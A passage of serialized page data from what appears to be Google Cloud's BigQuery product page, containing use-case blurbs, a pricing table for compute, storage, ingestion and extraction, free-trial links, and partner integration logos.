analytics"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/logging/docs/analyze/examples"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","sample sql queries for log analytics"]],192553]}]]],[[[null,[null,"\u003cp\u003ePinpoint \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eunique elements\u003c/span\u003e in data\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/blog/products/data-analytics/improved-text-analytics-in-bigquery-search-indexes-now-ga"],null,4,{"10000":[[["track-metadata-child_headline","pinpoint unique elements in data"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/blog/products/data-analytics/improved-text-analytics-in-bigquery-search-indexes-now-ga"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","pinpoint unique elements in data"]],192551]}]]]]],1]],"log-analytics"],[[[null,[null,"Marketing analytics"]]],[[[[[[null,[null,"\u003cp\u003eIncrease marketing ROI and performance with data and AI\u003c/p\u003e"],[null,"\u003cp\u003eBring the power of Google AI to your marketing data by unifying marketing and business data sources in BigQuery. Get a holistic view of the business, increase marketing ROI and performance using more first-party data, and deliver personalized and targeting marketing at scale with ML/AI built-in. Share insights and performance with Looker Studio or Connected Sheets.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions/marketing-analytics"],"Explore data and AI solutions built for marketing use cases",{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions/marketing-analytics"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","increase marketing roi and performance with data and ai"],["track-name","explore data and ai solutions built for marketing use cases"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Gz1nVGj_lziy97dGIzEKZ7ASHj-HfoCVD7BBENNbJ6q26XJiaCbNxtVZ4qHVOkvpaycx0qRxi6Yg"],null,null,true,null,null,null,null,[null,"Marketing data warehouse diagram"]]]],1]],"marketing-analytics"],[[[null,[null,"Data clean rooms"]]],[[[[[[null,[null,"\u003cp\u003eBigQuery data clean rooms for privacy-centric data sharing\u003c/p\u003e"],[null,"\u003cp\u003eCreate a low-trust environment for you and your partners to collaborate without copying or moving the underlying data right within BigQuery. This allows you to perform privacy-enhancing transformations in BigQuery SQL interfaces and monitor usage to detect privacy threats on shared data. Benefit from BigQuery scale without needing to manage any infrastructure and built-in BI and AI/ML. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/use-case/data-clean-rooms"],"Explore more use cases for data clean rooms",{"10000":[[["track-metadata-eventdetail","cloud.google.com/use-case/data-clean-rooms"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bigquery data clean rooms for privacy-centric data sharing"],["track-name","explore more use cases for data clean rooms"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3F74UarzeBKKKND8WRD8unc1SyVytFjn5ZxZ1cpheAyo3WL_xGM1YfzjoNeR_YsqA3dSC94tOo67\u003ds1024-w1024-rw-lo"],null,null,true,null,null,null,null,[null,"Predictive analysis diagram"]]]],1]],"data-clean-rooms"]]],{"10000":[[["track-metadata-module","product v3 common uses"]],191769]}],[80,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[[null,[null,"How BigQuery pricing works"],[null,"BigQuery pricing is based on compute (analysis), storage, additional services, and data ingestion and extraction. Loading and exporting data are free."],null,[null,"\u003cp\u003eLearn more about BigQuery pricing. \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eView all pricing details\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"Services and usage"]],[null,[null,"Subscription type"]],[null,[null,"Price (USD)"]]],null,null,[[[[1,1,[[[null,[null,"\u003cp\u003eFree tier\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003eThe \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing#free-tier\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery free tier\u003c/a\u003e gives customers 10 GiB storage, up to 1 TiB queries free per month, and other resources.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"]]]]]],true],[[[4,1,[[[null,[null,"\u003cp\u003eCompute (analysis)\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eOn-demand\u003c/b\u003e\u003c/p\u003e\u003cp\u003eGenerally gives you access to up to 2,000 concurrent slots, shared among all queries in a single project.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$6.25"],null,[null,"per TiB scanned. First 1 TiB per month is free."]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStandard edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eLow-cost option for standard SQL analysis \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.04 "],null,[null,"per slot hour"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eEnterprise edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eSupports advanced enterprise analytics\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.06"],null,[null,"per slot hour"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eEnterprise Plus edition\u003c/b\u003e\u003c/p\u003e\u003cp\u003eSupports mission-critical enterprise analytics\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.10"],null,[null,"per slot hour"]]]]]]],[[[4,1,[[[null,[null,"\u003cp\u003eStorage\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eActive local storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the uncompressed bytes used in tables or table partitions modified in the last 90 days. \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.02"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eLong-term logical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the uncompressed bytes used in tables or table partitions modified for 90 consecutive days. \u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.01"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eActive physical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on the compressed bytes used in tables or table partitions modified for 90 consecutive days.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.04 "],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eLong-term physical storage\u003c/b\u003e\u003c/p\u003e\u003cp\u003eBased on compressed bytes in tables or partitions that have not been modified for 90 consecutive days.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$0.02"],null,[null,"Per GiB. The first 10 GiB is free each month."]]]]]],true],[[[3,1,[[[null,[null,"\u003cp\u003eData ingestion\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBatch loading \u003c/b\u003e\u003c/p\u003e\u003cp\u003eImport table from Cloud Storage\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"],null,[null,"When using the shared slot pool"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStreaming inserts\u003c/b\u003e\u003c/p\u003e\u003cp\u003eYou are charged for rows that are successfully inserted. Individual rows are calculated using a 1 KB minimum.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.01"],null,[null,"per 200 MiB"]]]]]]],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBigQuery Storage Write API\u003c/b\u003e\u003c/p\u003e\u003cp\u003eData loaded into BigQuery, is subject to \u003ca href\u003d\"https://cloud.google.com/bigquery/pricing#storage\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery storage pricing\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/storage/pricing#storage-pricing\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eCloud Storage pricing\u003c/a\u003e.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"$0.025"],null,[null,"per 1 GiB. The first 2 TiB per month are free."]]]]]]],[[[2,1,[[[null,[null,"\u003cp\u003eData extraction\u003c/p\u003e"]]]]],[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eBatch export\u003c/b\u003e\u003c/p\u003e\u003cp\u003eExport table data to Cloud Storage.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,null,[null,"Free"],null,[null,"When using the shared slot pool"]]]]]],true],[[[1,1,[[[null,[null,"\u003cp\u003e\u003cb\u003eStreaming reads\u003c/b\u003e\u003c/p\u003e\u003cp\u003eUse the storage Read API to perform streaming reads of table data.\u003c/p\u003e"]]]]],[1,1,[null,null,null,null,null,[[null,[null,"Starting at"],[null,"$1.10"],null,[null,"per TiB read"]]]]]],true]]],[null,[[[null,[null,"Pricing calculator"],[null,"Estimate your monthly BigQuery costs, including region specific pricing and fees."]],[[null,null,"https://cloud.google.com/products/calculator"],"Estimate your costs",{"10000":[[["track-metadata-eventdetail","cloud.google.com/products/calculator"],["track-metadata-module","product v3 price table"],["track-metadata-module_headline","pricing calculator"],["track-name","estimate your costs"]]]}]]],[[[null,[null,"Custom quote"],[null,"Connect with our sales team to get a custom quote for your organization."]],[[null,null,"https://cloud.google.com/contact?direct\u003dtrue"],"Request a quote",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","product v3 price table"],["track-metadata-module_headline","custom quote"],["track-name","request a quote"]],192550]}]]]]],{"10000":[[["track-metadata-module","product v3 price table"]],191770],"10002":"how-bigquery-pricing-works"}],[72,null,null,[[[[[null,"Start your proof of concept"],[null,"New customers get $300 in free credits to try BigQuery and other Google Cloud products"],[null,"Try BigQuery sandbox without a credit card"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/bigquery"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/bigquery/docs/sandbox"],"Run a query",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/sandbox"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","run a query"]],192553]}]]],[[[[null,[null,"Learn how to locate and query public datasets in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/quickstarts/query-public-dataset-console"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to locate and query public datasets in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/quickstarts/query-public-dataset-console"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]],[[[null,[null,"Learn how to load data into BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/loading-data"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to load data into bigquery"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/loading-data"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]],[[[null,[null,"Learn how to create and use tables in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/tables"],"Read guide",6,{"10000":[[["track-metadata-child_headline","learn how to create and use tables in bigquery"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/tables"],["track-metadata-module","proof of concept"],["track-metadata-module_headline","new customers get $300 in free credits to try bigquery and other google cloud products"],["track-name","read guide"]],192553]}]]]]],{"10000":[[["track-metadata-module","proof of concept"]],191762],"10002":"new-customers-get-$300-in-free-credits-to-try-bigquery-and-other-google-cloud-products"}],[73,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Work with a partner with BigQuery expertise"],null,null,[null,"\u003cp\u003eFrom data ingestion to visualization, many partners have integrated their data solutions with BigQuery. Listed above are partner integrations through \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bigquery-ready-overview\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGoogle Cloud Ready - BigQuery\u003c/a\u003e.\u003c/p\u003e\u003cp\u003eVisit our \u003ca href\u003d\"https://cloud.google.com/find-a-partner/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003epartner directory\u003c/a\u003e to learn about these BigQuery partners.\u003c/p\u003e"]]],[[[[null,[null,"ETL and data integration"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/ernMih_P-z8KybdPn5TkOerU0kXqQSiCQ2aYBoHMGPXW7jkGNq58NHE7FhoO_ZVxIrZbjeXpQ8c"],null,null,true,null,null,null,null,[null,"Confluent logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/WVtAv77pZSLUBLzrb9aDSnJZiqkXuj7ehKpQY4wEzXEvyAByZKX1ZmkavHEqwlgeOvT-DujEwos_3A"],null,null,true,null,null,null,null,[null,"Fivetran logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Cc7ZJ2V2uZnkcpsQOZXoa7ZJevWoebsiNCCi-ryckiPila5BcKIdFNbqUnRt9oh2PCikBIne_AHBgA"],null,null,true,null,null,null,null,[null,"informatica logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/M-VmAs61fUPrpObXm623r06lQ-ZhI5CEXQvSd7DGKsg1i3EVAasgl7I6t0_x1n9JkVflnJ1I6en3"],null,null,true,null,null,null,null,[null,"snaplogic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/eTDTV4EfK0iZvu5c21GhfHK7dV7C84ZyWghMPckoyalmy50kzJvP_oMGdfUmbyeVzYxohqeSx3I"],null,null,true,null,null,null,null,[null,"Matillion logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/_kxi5q4shI5Lh5c8RQNF3i8g6dLWqLWod-hD4M3_zufgzec_8NsRnIT49CN6DDC7BjhqkYLsD13h"],null,null,true,null,null,null,null,[null,"Trifacta logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Xf-XR_P16CBijNUK-W9-vwFPpL4SD8JUBUdGpvjSv6muWZ4NY69hNxuACW-nCR1AS5R76gQQsyvMLw"],null,null,true,null,null,null,null,[null,"Alteryx logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/nZsyF06oI_NC7kq4Do6Zsor9AUZDoOW0FysBkZvENG3m7MGqxITbxGmjTDTN_JSF6wFkW65T26xP7A"],null,null,true,null,null,null,null,[null,"Striim logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/tJEnOZGbHSTHxztk0jhTVLydt_qmpGGUqAHR64-3Ta3193epJXfwQzWvOY5n33LxdL6be18Ulz0g"],null,null,true,null,null,null,null,[null,"talend logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/a2F9ZxJYhV5hJASQtG1hQEVkshZ_XQpjHK1_BQZ26mWT0rhbuTrkNDVhtxov-i0DAeVc_DoHv9Z2OQ"],null,null,true,null,null,null,null,[null,"rivery logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/q4NSXWeri3_m7fN2TV8X9jPk9iApKLk_nFqa2vLXPogMFBv3SeWSc3mXjHNIRb8HvbJBcVSVVt8P"],null,null,true,null,null,null,null,[null,"Rudderstack logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/wy97LO10QbtrtinxIIhIjSuqoOCFb-7sq8CZVh97mB3ZofHOQGaS1tp2WRz-f3LzGTqeKv1_NPTH"],null,null,true,null,null,null,null,[null,"funnel logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/zZUGrPuuDq8T9O2B2F5fpjej98470WFVW-MYGTJUTk_z7XZVgxyM58QZgZvCXi6AY1BySyeZTIrs"],null,null,true,null,null,null,null,[null,"dbt logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/mySjql7WRFNkzHy-fwLa81lnb6UjRBvHaDc6MrqeAKWxE8kz0KlaAcYdPtI14byzChPpjTzRJA0"],null,null,true,null,null,null,null,[null,"Denodo logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/DdkbuNg4dK82hpTeuERue6bPyFkm6itKt1VHMUypQdMYH_7VeIkjgs6VGgdn4QozkdKh3NjVzSQ62g"],null,null,true,null,null,null,null,[null,"Supermetrics logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/EyVdJgAClXuQHO2yBhmfGHZGB4ZkukT27iHY4xdvu67LFZw91q3d0EWl75AV-s1YhUupZU8--apO6g"],null,null,true,null,null,null,null,[null,"Airbyte logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/pU0itt-s65aqyp3ckOSAR8_4gixSODJPJ1CNSjYQfGy1DyADVihJL3jenUSBjliWCaIh3szH-hI"],null,null,true,null,null,null,null,[null,"Hevo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/aiven"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/aiven"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/OtEu2g_THONxFVPBgLLmmQGyTM_lNs7lxgGDdQnPtAcHmmNTh6mqH6nlmQEcZsqzp4CXprBo8Ddc"],null,null,true,null,null,null,null,[null,"aiven"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/devart-s-r-o"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/devart-s-r-o"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3-Tk1mtzsu6f-IIhfwq_E_7pJvLQrvGayyx9DY8OUAJgkf_GzTsAmDrfE5UiKNz9OvuDinsxxCRuEA"],null,null,true,null,null,null,null,[null,"skyvia logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/ascendo-ai-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/ascendo-ai-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/6IDErn36XvqUGHeypUwykp9WrmvTzPEvk-h7qWaROTwX2YMNg9G0AYf7wNwjup9yUNeRHgyMTN4"],null,null,true,null,null,null,null,[null,"ascend.io logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dataddo"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dataddo"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/YCZ2SKYCwMA995tu8-uvOyCgk5X7hb3ubwJncHpMr-UMmfuWhsNKgAcjj2pI40_VabdZTDb-bVSv"],null,null,true,null,null,null,null,[null,"dataddo logo"]]]],[null,[[null,[[null,null,"https://docs.arcion.io/docs/source-setup/bigquery/"],null,6,{"10000":[[["track-metadata-eventdetail","docs.arcion.io/docs/source-setup/bigquery"],["track-metadata-module","partners and integration"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/BVL-f0QKuTA75irAjHpPu8z6ugCtWbv7YUpBQaNc1cqSxeU_wo-vLf296NBR_eT5R8XwmlfR4Zv3"],null,null,true,null,null,null,null,[null,"arcion logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/hasura"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/hasura"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Sf6_OOZ0fmaOc_QC1NU2VyWstRmEOcJpujSddHOTf02Tm8U9DyJBYVEynNqloPB_a_F1ByoVOJ-8"],null,null,true,null,null,null,null,[null,"Hasura logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/estuary"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/estuary"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/BKhE8vXD1L2uAbFihe7NOvr0VD5qAld-5aJgFPQFg6js8ZCnlGGguxfZAjHjBx5VAGir_tmKxp7oCA"],null,null,true,null,null,null,null,[null,"Estuary logo"]]]],[null,[[null,[[null,null,"https://docs.calibermind.com/article/1h3lzav7y2-caliber-mind-data-warehouse-access-in-google-big-query"],{"10000":[[["track-metadata-eventdetail","docs.calibermind.com/article/1h3lzav7y2-caliber-mind-data-warehouse-access-in-google-big-query"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/26M4amN_x0BzWvmYhgFojLgwfAPPMAQrmIE_eU0kHFsIHE7sk4jXkKy_nvFwdbygw0wcWsHZAqp0HA"],null,null,true,null,null,null,null,[null,"calibermind logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/retool"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/retool"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/IDTo0Nqj1TzG__K97qqt_7tQXRdQKcph4OjvazKsRExL1WrOSbWBP4BqmLMvn1hlBxPgoX1G53zx"],null,null,true,null,null,null,null,[null,"retool logo"]]]],[null,[[null,[[null,null,"https://portable.io/connectors/portable/bigquery"],{"10000":[[["track-metadata-eventdetail","portable.io/connectors/portable/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/V0p_tBm5L8rDmRLN-z8BgXLvfalt32AB6SGqk4o8jy91cBe6-VbLTOR3_kUI064U9weA4LrltanW"],null,null,true,null,null,null,null,[null,"portable logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/precog"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/precog"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/SWjgPStDGv1g79rj128yTT9klLsZP9oan8jScoqlU6sotP-ULoDB8mB7tKpXMsf7gClv1Dpo7CU5"],null,null,true,null,null,null,null,[null,"precog logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/cloudquery"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/cloudquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/356nRCFxjXlDPs9M6GEN7QPHL8rbS1aDqf9ABx7vVAajm12V5VuT_bbuhHBqYFTRXCK6L4fAnucO"],null,null,true,null,null,null,null,[null,"CloudQuery logo"]]]]],[],null,"etl-and-data-integration"],[[[null,[null,"Reverse ETL and MDM"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/BkXECndt-amIcp1Adedr3lsgFeJ1_vcEJRrXxPw5QsJCrS6d07doHe0Jx7hLN8-wp1-NQvpoK_5JUg"],null,null,true,null,null,null,null,[null,"Census logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/-TDw2LwfBYgQ133eO6maZ5pz0mBxYqIIU-BdRmEiIFA7zEIpSKONzKXn62sb9e41nNYpyghwQVRG"],null,null,true,null,null,null,null,[null,"integratei.io logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/aeNmy7nrSnwanYfrC_yCQFvCupyqj9nqODLLTLcdAdotjoYaFymHFcwv__gHGpolcQ7_9c_n8WBOiA"],null,null,true,null,null,null,null,[null,"Hightouch logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/ste-Nhtd2aCNVWjqp33jyShspn97WrdsiYIOT-Eavvw6RvPHqLzQNQ3QZmYujjv_SBCKV_n-GcsDAg"],null,null,true,null,null,null,null,[null,"Nexla logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/jMdWWkshXLh8YuTi_cvx7zsJ5oZhtH5n3CsnCGDKVRPxtxT_8DzQxSd-FLCunlbtMShceYkP8co"],null,null,true,null,null,null,null,[null,"Reltio logo"]]]],[null,[null,[[null,null,"https://www.gstatic.com/bricks/image/198cbb2904185590fd14cee4cab419f4c65df250456b66b91e2d7b2aec090fb7.svg"],null,null,null,null,null,null,null,[null,"Tamr logo"]]]]],[],null,"reverse-etl-and-mdm"],[[[null,[null,"BI and data visualization"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/nVy1GfKWTgsRWqie3OKVPqI_tFOxIoAAqZNciHy0ik_NTmOOd57_Vdk0Zs-MFQ83C3Z_2lQ8X6ax"],null,null,true,null,null,null,null,[null,"Tableau logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/u_InqAZdHllwsUvXZvIT85v_R73zz1CXc9pRIRbV35F9QAdgx0ZtQnHQ1rIkTcwplCf4sSP8bzY"],null,null,true,null,null,null,null,[null,"MicroStrategy logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/TbnvCb9C46ZupoKUc4dujub8HeqKQQlNYc0WGHcDcAmV2zxAl6I1i0Ulvf05pyG8AyFAm8ZAJLKM"],null,null,true,null,null,null,null,[null,"Qlik logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/gNmqVbCMqvGrh9_CYj7_Od8UOX8-vIoln0eYc0InHay1cXhfrQuTqwalIQZzVmPlVqnlttWOABtWfQ"],null,null,true,null,null,null,null,[null,"Sas logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Fk2LqU09POB11UVxwvAI4YuPjoDToq6uOw3RJ692uGLvd_UzlU0p9i5pE_pG6Hr-GAJGHZ4engYb"],null,null,true,null,null,null,null,[null,"ThoughtSpot logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/A-XqnQZ0a8Eyfs9OPYOCNTZMFWx1NHRy2RT6K8z7NKCouJNFQqzkoEffpw-CJqPJrjWnnFvB8AajRw"],null,null,true,null,null,null,null,[null,"Sigma logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/yDh09VHdW7uxgCOdXSUA9PQXUAqgsy6WCrNDAup2FnSP6diGvVR2SMzPyP98PuPtPpykThSjmHK5"],null,null,true,null,null,null,null,[null,"sisense logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/D2GVFuKIPiRlZMnZaHgdHuXYDztz4cMJKG1DqBG9eCh3cyb-IkncPhfaqTa2tqj6WG3SMkrkgMkMVg"],null,null,true,null,null,null,null,[null,"Mode logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/NdrXgfUlxfYVtoxkjUu1Qp5sXprPFZ8SEFP8lmisN_NUqyFBGLdJRYntFnwM9xsABoxYzbQBlheG8A"],null,null,true,null,null,null,null,[null,"incorta logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/uQvpX77fRPtXsVQ8cBA0qEGPqn-YQC0L2pXoIxys2DOKSjyDsOGY8nt5_lbjrgoI4NrrQfAPLYHKRQ"],null,null,true,null,null,null,null,[null,"Carto logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/domo-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/domo-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/f4CuBrSvhvmUJvoP8w32PclSnLRbYIHcbpesIDgFCNV29mH9TBPmiLRM3GKW6l3xDhWw8DVcpqLe"],null,null,true,null,null,null,null,[null,"domo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dreamdata"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dreamdata"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/sjLLF7XSZv6lwBS8QVHpc8s6ngT_et43IHzShLPhdjd28P604HANHgDv85-HmpGLk-uPDHkSthEa"],null,null,true,null,null,null,null,[null,"dreamdata logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/atscale"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/atscale"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/Z1ZQQj1Fc2sy0g5znbjw0FCCmjRHFxwVEUVoBGah7RVB9q7dEhkBE7eJAJdCpcws_hkAMCB-EqY"],null,null,true,null,null,null,null,[null,"atscale logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/tellius"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/tellius"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mI3umCjo53suj901m4zndXvQvOsznEXN2CzOQUJ0soMFmhVHnMyJidI1uTc0vmxBH0a2ZcLbd8x1UA"],null,null,true,null,null,null,null,[null,"tellius"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/zing-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/zing-data"],["track-metadata-module","partners and 